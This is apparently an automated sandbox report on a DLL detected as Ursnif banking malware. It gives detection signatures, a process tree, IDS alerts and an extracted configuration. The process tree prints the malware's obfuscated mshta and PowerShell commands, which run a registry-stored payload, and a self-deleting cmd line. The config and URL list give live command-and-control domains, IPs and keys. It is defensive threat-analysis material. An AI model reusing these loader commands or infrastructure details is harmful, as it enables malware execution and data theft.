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Windows Analysis Report
628df1368bdb5.dll

Overview

General Information

Sample Name:628df1368bdb5.dll
Analysis ID:633910
MD5:2ced3a825a7b8d9ad0153b2f8566b357
SHA1:4b6484602c29c298b5270f2c95e9aeeabb162737
SHA256:f760495de9b1a0a152075541f40014ceb46925213da7e2c542bc6e606bea46fc
Tags:BRTdllgoziisfbitaursnif
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Hooks registry keys query functions (used to hide registry keys)
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Modifies the prolog of user mode functions (user mode inline hooks)
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Modifies the export address table of user mode modules (user mode EAT hooks)
Writes registry values via WMI
Modifies the import address table of user mode modules (user mode IAT hooks)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
One or more processes crash
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

  • System is w10x64
  • loaddll32.exe (PID: 3412 cmdline: loaddll32.exe "C:\Users\user\Desktop\628df1368bdb5.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 4800 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\628df1368bdb5.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 864 cmdline: rundll32.exe "C:\Users\user\Desktop\628df1368bdb5.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 1308 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
    • WerFault.exe (PID: 240 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3412 -s 408 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 5264 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3412 -s 416 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 6848 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3412 -s 440 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • mshta.exe (PID: 6924 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qiip='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qiip).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 7056 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name sdiwcaphnc -value gp; new-alias -name ixgamvji -value iex; ixgamvji ([System.Text.Encoding]::ASCII.GetString((sdiwcaphnc "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 7068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 6136 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vebwfha3\vebwfha3.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 1048 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES10A0.tmp" "c:\Users\user\AppData\Local\Temp\vebwfha3\CSC57533E6B898B4B7BB8DAE45DDD64B0AA.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 5280 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\hpvnexdj\hpvnexdj.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 3864 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES20CD.tmp" "c:\Users\user\AppData\Local\Temp\hpvnexdj\CSC5D09D8212D1C47D8BF5AC4D6502884C9.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • cmd.exe (PID: 6988 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\628df1368bdb5.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • PING.EXE (PID: 240 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
  • cleanup
{"RSA Public Key": "2FCnIUzdNGgeELQ1eLj0bJoMz6Wyhsxr173krpubnAkBznOw2O4zXiS7ovCR4PNNsCIjegHbTvoHWqhvq9RRNZAEBtDWX6mW3yIDXSN0qA1n8qiSRebn1HxZtuyL6FY/BR1nMcmDUet9iMwvlRDxmj+VzyCObUK6W0DHCUtNCB3pyymvgBuZvmOoqHVPJIhNG61j6VPVajqzr24KUke3teaWIZiCXT2orfIpBZFefRCfYuOYhoPg/LDJjkEBPCd72OAc2ekKwF9Tcjmm1Qm9F8aB637Mj7oTJWG5gIc8figdfCIcJsfVqtjVSAcA29hI94eg/OsMoQ7GmaQR3NS4pkbIWbvv0j+obPcxvU7II18=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "37.10.71.138", "185.158.250.51"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
SourceRuleDescriptionAuthorStrings
00000021.00000000.403852849.00000000007B0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000002.00000003.284358027.00000000057F8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000021.00000000.404491813.00000000007B0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
        00000021.00000003.406000540.000002B63B79C000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000002.00000003.284640245.00000000057F8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
            Click to see the 26 entries
            SourceRuleDescriptionAuthorStrings
            2.3.rundll32.exe.51294a0.10.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              2.2.rundll32.exe.1350000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                2.3.rundll32.exe.56fa4a0.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  2.3.rundll32.exe.56fa4a0.0.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    2.3.rundll32.exe.51294a0.10.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 2 entries
                      No Sigma rule has matched
                      Timestamp:192.168.2.4176.10.119.6849770802033204 05/25/22-11:18:02.070939
                      SID:2033204
                      Source Port:49770
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:192.168.2.413.107.43.1649761802033204 05/25/22-11:17:41.032657
                      SID:2033204
                      Source Port:49761
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:192.168.2.4176.10.119.6849770802033203 05/25/22-11:18:02.070939
                      SID:2033203
                      Source Port:49770
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:192.168.2.413.107.43.1649761802033203 05/25/22-11:17:41.032657
                      SID:2033203
                      Source Port:49761
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Source: 00000002.00000002.452499963.00000000011A0000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "2FCnIUzdNGgeELQ1eLj0bJoMz6Wyhsxr173krpubnAkBznOw2O4zXiS7ovCR4PNNsCIjegHbTvoHWqhvq9RRNZAEBtDWX6mW3yIDXSN0qA1n8qiSRebn1HxZtuyL6FY/BR1nMcmDUet9iMwvlRDxmj+VzyCObUK6W0DHCUtNCB3pyymvgBuZvmOoqHVPJIhNG61j6VPVajqzr24KUke3teaWIZiCXT2orfIpBZFefRCfYuOYhoPg/LDJjkEBPCd72OAc2ekKwF9Tcjmm1Qm9F8aB637Mj7oTJWG5gIc8figdfCIcJsfVqtjVSAcA29hI94eg/OsMoQ7GmaQR3NS4pkbIWbvv0j+obPcxvU7II18=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "37.10.71.138", "185.158.250.51"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
                      Source: http://176.10.119.68/Avira URL Cloud: Label: phishing
                      Source: http://176.10.119.68/drew/mx2k_2BWD8_2Bui8f24/_2FdLStLGJu_2FNVLvlRqm/y6X2_2B4jlk2h/VQfu7A_2/B4a_2FxyofSjr6xGLTFfL2L/LNdngFf7rn/OvqAM3OC3xoRemh_2/FyMZKFMI26Y0/0mKxky2p8Sr/xj69YBE0ZOhFjW/zbyinwlKMAyzoBoDXw0WW/UcxtZ3YMxhs_2F9U/e4Hd9_2BGaNBJ3P/kN1X2IxLZzGc_2FIhp/HoxIXKFKE/9P_2FQckxF3sFvknjRk2/jU7nTpV83y_2Bc9IDLG/XJnktZ5U4942/cCc.jlkAvira URL Cloud: Label: phishing
                      Source: http://176.10.119.68/drew/9wrEMOTFT/S91lCHc0I9lpMiqK6tED/3HmXCi0GHvk2bfJZ_2B/IWJ0PIriQTQ6c2m4hiKbFG/j7Ui6TupUgqv9/iXqd_2B6/HweqhRNKjLTfXm8aJ5EbULO/aj_2BCnAUF/p4g6MIba6j8L3cgyw/IecwOJcZqkV3/20iagORn0JW/8cL4QeYiL7dSmN/XiKK0HtesQsvb3dvhwxKN/_2FxNHFHozoDft4H/q_2F2UJyAbE0bmM/3E7KjzSrWV7DjWoo4u/DAXZOu_2FTcV_2B8l/611kp.jlkAvira URL Cloud: Label: phishing
                      Source: http://176.10.119.68/drew/mx2k_2BWD8_2Bui8f24/_2FdLStLGJu_2FNVLvlRqm/y6X2_2B4jlk2h/VQfu7A_2/B4a_2FxyAvira URL Cloud: Label: phishing
                      Source: http://176.10.119.68/drew/9wrEMOTFT/S91lCHc0I9lpMiqK6tED/3HmXCi0GHvk2bfJZ_2B/IWJ0PIriQTQ6c2m4hiKbFG/Avira URL Cloud: Label: phishing
                      Source: http://176.10.119.68/=i_Avira URL Cloud: Label: phishing
                      Source: http://176.10.119.68/drew/9bo_2FGMDS/YX0iJpZn_2FnwDqZp/_2FkwYeVsi9m/tZW52eiU7bn/plbRkJU1Vd8To_/2Fp4VORrrB3C9OpiAUTKW/_2BEa68ZWZM_2F_2/FqQsrqaBoVKq7cT/nta4A0Rkv0C0nGFGba/jEcMhAfEj/i4t0z7q_2FtZbIXHHqGR/Q5KFjk2yTnVCetqf4Mv/o6_2BrnNfrIeaxRno6ljgz/e3ndGuwsYbRUB/3DL_2FNd/OjZb2_2BjErlndqGe5NpZyj/jIT9OJzbG0/KOr4XWJQo/_2FUsze0HrV/HT.jlkAvira URL Cloud: Label: phishing
                      Source: http://176.10.119.68/drew/9bo_2FGMDS/YX0iJpZn_2FnwDqZp/_2FkwYeVsi9m/tZW52eiU7bn/plbRkJU1Vd8To_/2Fp4VAvira URL Cloud: Label: phishing
                      Source: 628df1368bdb5.dllJoe Sandbox ML: detected
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 2_2_01355FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,2_2_01355FBB